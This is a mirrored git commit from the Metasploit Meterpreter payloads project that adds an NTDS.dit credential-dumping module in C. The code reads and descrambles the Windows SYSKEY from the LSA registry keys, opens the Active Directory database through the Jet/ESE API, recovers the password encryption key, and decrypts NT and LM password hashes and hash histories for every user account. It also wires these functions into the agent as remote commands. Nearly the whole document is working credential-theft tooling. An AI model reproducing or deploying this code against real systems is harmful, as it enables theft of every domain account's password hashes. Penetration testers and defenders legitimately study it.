1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-20 20:37:27 +01:00

start migrating ntds code in

moving the code chunks from the poc into
the actual meterp project
This commit is contained in:
David Maloney 2015-04-22 16:03:30 -05:00
parent 1d1ebe0592
commit 85987b9cbe
8 changed files with 549 additions and 1 deletions

View File

@ -48,6 +48,7 @@
#define TLV_TYPE_ELEVATE_SERVICE_DLL MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 202 )
#define TLV_TYPE_ELEVATE_SERVICE_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 203 )
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 300)
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 300)
#define TLV_TYPE_NTDS_PATH MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 301)
#endif

View File

@ -0,0 +1,86 @@
#include "precomp.h"
typedef struct
{
BOOL eof;
} NTDSContext;
DWORD ntds_parse(Remote *remote, Packet *packet){
Packet *response = NULL;
DWORD res = ERROR_SUCCESS;
jetState *ntdsState = malloc(sizeof(jetState));
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
// Check if the File exists
if (0xffffffff == GetFileAttributes(filePath)){
res = 2;
goto out;
}
strncpy(ntdsState->ntdsPath, filePath, 255);
// Attempt to get the SysKey from the Registry
unsigned char sysKey[17];
if (!get_syskey(sysKey)){
res = GetLastError();
goto out;
}
out:
packet_transmit_response(res, remote, response);
return res;
}
DWORD ntds_test_channel(Remote *remote, Packet *packet){
PoolChannelOps chops;
Channel *newChannel;
NTDSContext *ctx;
DWORD res = ERROR_SUCCESS;
Packet *response = packet_create_response(packet);
// Allocate storage for the NTDS context
if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
memset(&chops, 0, sizeof(chops));
// Initialize the pool operation handlers
chops.native.context = ctx;
chops.native.write = ntds_channel_write;
chops.native.close = ntds_channel_close;
chops.read = ntds_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
channel_set_type(newChannel, "ntds");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
packet_transmit_response(res, remote, response);
out:
return res;
}
static DWORD ntds_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten){
return ERROR_SUCCESS;
}
static DWORD ntds_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead){
DWORD result = ERROR_SUCCESS;
NTDSContext *ctx = (NTDSContext *)context;
char testString[] = "This is a test of NTDS streaming";
strncpy(buffer, testString, sizeof(testString));
*bytesRead = sizeof(testString);
return result;
}
static DWORD ntds_channel_close(Channel *channel, Packet *request,
LPVOID context){
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,12 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_H
DWORD ntds_parse(Remote *remote, Packet *packet);
DWORD ntds_test_channel(Remote *remote, Packet *packet);
static DWORD ntds_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten);
static DWORD ntds_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead);
static DWORD ntds_channel_close(Channel *channel, Packet *request,
LPVOID context);
#endif

View File

@ -0,0 +1,306 @@
#include "ntds_jet.h"
JET_ERR engine_shutdown(jetState *ntdsState){
JET_ERR shutdownStatus;
shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
if (shutdownStatus != JET_errSuccess){
return shutdownStatus;
}
shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath);
if (shutdownStatus != JET_errSuccess){
return shutdownStatus;
}
shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
if (shutdownStatus != JET_errSuccess){
return shutdownStatus;
}
shutdownStatus = JetTerm(ntdsState->jetEngine);
return shutdownStatus;
}
JET_ERR engine_startup(jetState *ntdsState){
JET_ERR jetError;
// Set the Page Size to the highest possibile limit
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
if (jetError != JET_errSuccess){
return jetError;
}
// Create our Jet Instance
jetError = JetCreateInstance(&ntdsState->jetEngine, "NTDS");
if (jetError != JET_errSuccess){
return jetError;
}
// Disable crash recovery and transaction logs
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off");
if (jetError != JET_errSuccess){
return jetError;
}
// Initialise the Jet instance
jetError = JetInit(&ntdsState->jetEngine);
if (jetError != JET_errSuccess){
return jetError;
}
return JET_errSuccess;
}
JET_ERR get_column_info(jetState *ntdsState, ntdsColumns *accountColumns){
JET_ERR columnError;
const char attributeNames[][25] = {
"ATTm590045",
"ATTj590126",
"ATTq589983",
"ATTk590689",
"ATTq589876",
"ATTk589879",
"ATTk589984",
"ATTj589993",
"ATTk589914",
"ATTk589918",
"ATTm13",
"ATTj589832",
"ATTq589920",
"ATTr589970"
};
JET_COLUMNDEF *columnDefs[] = {
&accountColumns->accountName,
&accountColumns->accountType,
&accountColumns->accountExpiry,
&accountColumns->encryptionKey,
&accountColumns->lastLogon,
&accountColumns->lmHash,
&accountColumns->lmHistory,
&accountColumns->logonCount,
&accountColumns->ntHash,
&accountColumns->ntHistory,
&accountColumns->accountDescription,
&accountColumns->accountControl,
&accountColumns->lastPasswordChange,
&accountColumns->accountSID,
};
for (int i = 0; i < 14; i++){
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, attributeNames[i], columnDefs[i], sizeof(JET_COLUMNDEF), JET_ColInfo);
if (columnError != JET_errSuccess){
return columnError;
}
}
return JET_errSuccess;
}
JET_ERR get_PEK(jetState *ntdsState, ntdsColumns *accountColumns, encryptedPEK *pekEncrypted){
JET_ERR cursorStatus;
JET_ERR readStatus;
unsigned char *encryptionKey[76];
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
if (cursorStatus != JET_errSuccess){
return cursorStatus;
}
do{
//Attempt to retrieve the Password Encryption Key
unsigned long columnSize = 0;
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL);
if (readStatus == JET_errSuccess){
memcpy(pekEncrypted, &encryptionKey, 76);
puts("Found the Password Encryption Key");
return readStatus;
}
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
} while (cursorStatus == JET_errSuccess);
return readStatus;
}
JET_ERR open_database(jetState *ntdsState){
JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
if (attachStatus != JET_errSuccess){
return attachStatus;
}
JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly);
if (openStatus != JET_errSuccess){
return openStatus;
}
return JET_errSuccess;
}
JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPEK *pekDecrypted){
JET_ERR cursorStatus;
JET_ERR readStatus;
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
if (cursorStatus != JET_errSuccess){
return cursorStatus;
}
do{
// Create a User Account Struct to hold our data
ntdsAccount *userAccount = malloc(sizeof(ntdsAccount));
memset(userAccount, 0, sizeof(ntdsAccount));
//Define our temp values here
DWORD accountType = 0;
FILETIME accountExpiry;
SYSTEMTIME accountExpiry2;
FILETIME lastLogon;
SYSTEMTIME lastLogon2;
FILETIME lastPass;
SYSTEMTIME lastPass2;
DWORD accountControl = 0;
unsigned long columnSize = 0;
encryptedHash *encryptedLM = malloc(sizeof(encryptedHash));
encryptedHash *encryptedNT = malloc(sizeof(encryptedHash));
memset(encryptedLM, 0, sizeof(encryptedHash));
memset(encryptedNT, 0, sizeof(encryptedHash));
//Retrieve the account type for this row
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL);
// Unless this is a User Account, then we skip it
if (readStatus == JET_wrnColumnNull || accountType != 0x30000000){
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
continue;
}
// If any other error has occured we've screwed up and need to fix it for now
if (readStatus != JET_errSuccess){
exit(readStatus);
}
// Grab the SID here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountName), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
// Derive the RID from the SID
int ridIndex = columnSize - sizeof(DWORD);
DWORD *ridLoc = (DWORD *)&userAccount->accountSID[ridIndex];
userAccount->accountRID = htonl(*ridLoc);
// Grab the samAccountName here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &userAccount->accountName, sizeof(userAccount->accountName), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
// Grab the account expiration date/time here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&accountExpiry, &accountExpiry2);
int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 255);
// Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never'
if (dateResult == 0){
strncpy(userAccount->expiryDate, "Never", 6);
}
// Grab the last logon date and time
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&lastLogon, &lastLogon2);
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 255);
// Getting Human Readable will fail if account has never logged in, much like the expiry date
if (dateResult == 0){
strncpy(userAccount->logonDate, "Never", 6);
}
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 255);
if (dateResult == 0){
strncpy(userAccount->logonTime, "Never", 6);
}
// Grab the last password change date and time
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
FileTimeToSystemTime(&lastPass, &lastPass2);
dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 255);
// Getting Human Readable will fail if account has never logged in, much like the expiry date
if (dateResult == 0){
strncpy(userAccount->passChangeDate, "Never", 6);
}
dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 255);
if (dateResult == 0){
strncpy(userAccount->passChangeTime, "Never", 6);
}
// Grab the Account Description here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &userAccount->accountDescription, sizeof(userAccount->accountDescription), &columnSize, 0, NULL);
if (readStatus == JET_wrnColumnNull){
memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription));
}
else if (readStatus != JET_errSuccess){
exit(readStatus);
}
// Grab the UserAccountControl flags here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
if (accountControl & NTDS_ACCOUNT_DISABLED){
userAccount->accountDisabled = TRUE;
}
if (accountControl & NTDS_ACCOUNT_LOCKED){
userAccount->accountLocked = TRUE;
}
if (accountControl & NTDS_ACCOUNT_NO_PASS){
userAccount->noPassword = TRUE;
}
if (accountControl & NTDS_ACCOUNT_PASS_EXPIRED){
userAccount->passExpired = TRUE;
}
if (accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE){
userAccount->passNoExpire = TRUE;
}
// Grab the Logon Count here
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
exit(readStatus);
}
// Grab the NT Hash
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(encryptedHash), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
if (readStatus == JET_wrnColumnNull){
memcpy(&userAccount->ntHash, &BLANK_NT_HASH, 32);
}
else{
exit(readStatus);
}
}
else{
decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID);
}
// Grab the LM Hash
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(encryptedHash), &columnSize, 0, NULL);
if (readStatus != JET_errSuccess){
if (readStatus == JET_wrnColumnNull){
memcpy(&userAccount->lmHash, &BLANK_LM_HASH, 32);
}
else{
exit(readStatus);
}
}
else{
decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID);
}
// Grab the NT Hash History
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
if (readStatus == JET_wrnBufferTruncated){
LPBYTE encNTHist = (LPBYTE)malloc(columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->ntHistory, &userAccount->numNTHistory);
// If there's no NT history, there's no LM history
// Grab the LM History
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
if (readStatus == JET_wrnBufferTruncated){
LPBYTE encLMHist = (LPBYTE)malloc(columnSize);
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->lmHistory, &userAccount->numLMHistory);
}
else {
return readStatus;
}
}
dump_account(userAccount);
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
} while (cursorStatus == JET_errSuccess);
if (cursorStatus != JET_errNoCurrentRecord){
return cursorStatus;
}
return JET_errSuccess;
}

View File

@ -0,0 +1,72 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_JET_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_NTDS_JET_H
#include "precomp.h"
#include <esent.h>
#pragma comment(lib, "esent")
typedef struct {
TCHAR ntdsPath[255];
JET_INSTANCE jetEngine;
JET_SESID jetSession;
JET_DBID jetDatabase;
JET_TABLEID jetTable;
BOOL eof;
}jetState;
typedef struct {
JET_COLUMNDEF accountName;
JET_COLUMNDEF accountType;
JET_COLUMNDEF accountExpiry;
JET_COLUMNDEF accountDescription;
JET_COLUMNDEF accountControl;
JET_COLUMNDEF encryptionKey;
JET_COLUMNDEF lastLogon;
JET_COLUMNDEF lastPasswordChange;
JET_COLUMNDEF lmHash;
JET_COLUMNDEF lmHistory;
JET_COLUMNDEF logonCount;
JET_COLUMNDEF ntHash;
JET_COLUMNDEF ntHistory;
JET_COLUMNDEF accountSID;
}ntdsColumns;
typedef struct{
wchar_t accountName[20];
wchar_t accountDescription[1024];
DWORD accountRID;
BOOL accountDisabled;
BOOL accountLocked;
BOOL noPassword;
BOOL passNoExpire;
BOOL passExpired;
int logonCount;
int numNTHistory;
int numLMHistory;
char expiryDate[30];
char logonDate[30];
char logonTime[30];
char passChangeDate[30];
char passChangeTime[30];
char lmHash[33];
char ntHash[33];
char lmHistory[792];
char ntHistory[792];
unsigned char accountSID[24];
}ntdsAccount;
// UserAccountControl Flags
#define NTDS_ACCOUNT_DISABLED 0x00000002
#define NTDS_ACCOUNT_LOCKED 0x00000010
#define NTDS_ACCOUNT_NO_PASS 0x00000020
#define NTDS_ACCOUNT_PASS_NO_EXPIRE 0x00010000
#define NTDS_ACCOUNT_PASS_EXPIRED 0x00800000
JET_ERR engine_shutdown(jetState *ntdsState);
JET_ERR engine_startup(jetState *ntdsState);
JET_ERR get_column_info(jetState *ntdsState, ntdsColumns *accountColumns);
JET_ERR get_PEK(jetState *ntdsState, ntdsColumns *accountColumns, encryptedPEK *pekEncrypted);
JET_ERR open_database(jetState *ntdsState);
JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPEK *pekDecrypted);
#endif

View File

@ -24,6 +24,7 @@ Command customCommands[] =
COMMAND_REQ( "priv_fs_blank_file_mace", request_fs_blank_file_mace ),
COMMAND_REQ( "priv_fs_blank_directory_mace", request_fs_blank_directory_mace ),
COMMAND_REQ( "priv_ntds_test", ntds_test_channel),
COMMAND_REQ( "priv_ntds_parse", ntds_parse),
COMMAND_TERMINATOR
};

View File

@ -0,0 +1,63 @@
#include "syskey.h"
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey){
DWORD sizeData = 9;
long regStatus;
HKEY subkeyHandle;
unsigned char tmpVal[16];
int byteComponent = 0;
regStatus = RegOpenKeyEx(lsaHandle, subkeyName, 0, KEY_READ, &subkeyHandle);
if (regStatus != ERROR_SUCCESS){
return FALSE;
}
regStatus = RegQueryInfoKey(subkeyHandle, (LPSTR)&tmpVal, &sizeData, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (regStatus != ERROR_SUCCESS){
return FALSE;
}
byteComponent = strtoimax(tmpVal, NULL, 16);
strncat(tmpSysKey, (char *)&byteComponent, 4);
RegCloseKey(subkeyHandle);
return TRUE;
}
BOOL get_syskey(unsigned char *sysKey){
unsigned char tmpSysKey[17];
unsigned char interimSysKey[17];
long regStatus;
DWORD disposition = 0;
HKEY lsaHandle;
memset(&tmpSysKey, 0, sizeof(tmpSysKey));
memset(&interimSysKey, 0, sizeof(tmpSysKey));
//Used for descrambling the bytes of the SYSKEY (absurd isn't it?)
BYTE syskeyDescrambler[16] = { 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 };
regStatus = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_READ, NULL, &lsaHandle, &disposition);
if (regStatus != ERROR_SUCCESS){
return FALSE;
}
if (disposition == REG_CREATED_NEW_KEY){
RegCloseKey(lsaHandle);
return FALSE;
}
if (!get_syskey_component(lsaHandle, "JD", tmpSysKey)){
return FALSE;
}
if (!get_syskey_component(lsaHandle, "Skew1", tmpSysKey)){
return FALSE;
}
if (!get_syskey_component(lsaHandle, "GBG", tmpSysKey)){
return FALSE;
}
if (!get_syskey_component(lsaHandle, "Data", tmpSysKey)){
return FALSE;
}
for (int i = 0; i < 16; i++) {
interimSysKey[i] = tmpSysKey[syskeyDescrambler[i]];
}
strncpy(sysKey, interimSysKey, 17);
RegCloseKey(lsaHandle);
return TRUE;
}

View File

@ -0,0 +1,7 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_SYSKEY_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_SYSKEY_H
#include "precomp.h"
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey);
BOOL get_syskey(unsigned char *sysKey);
#endif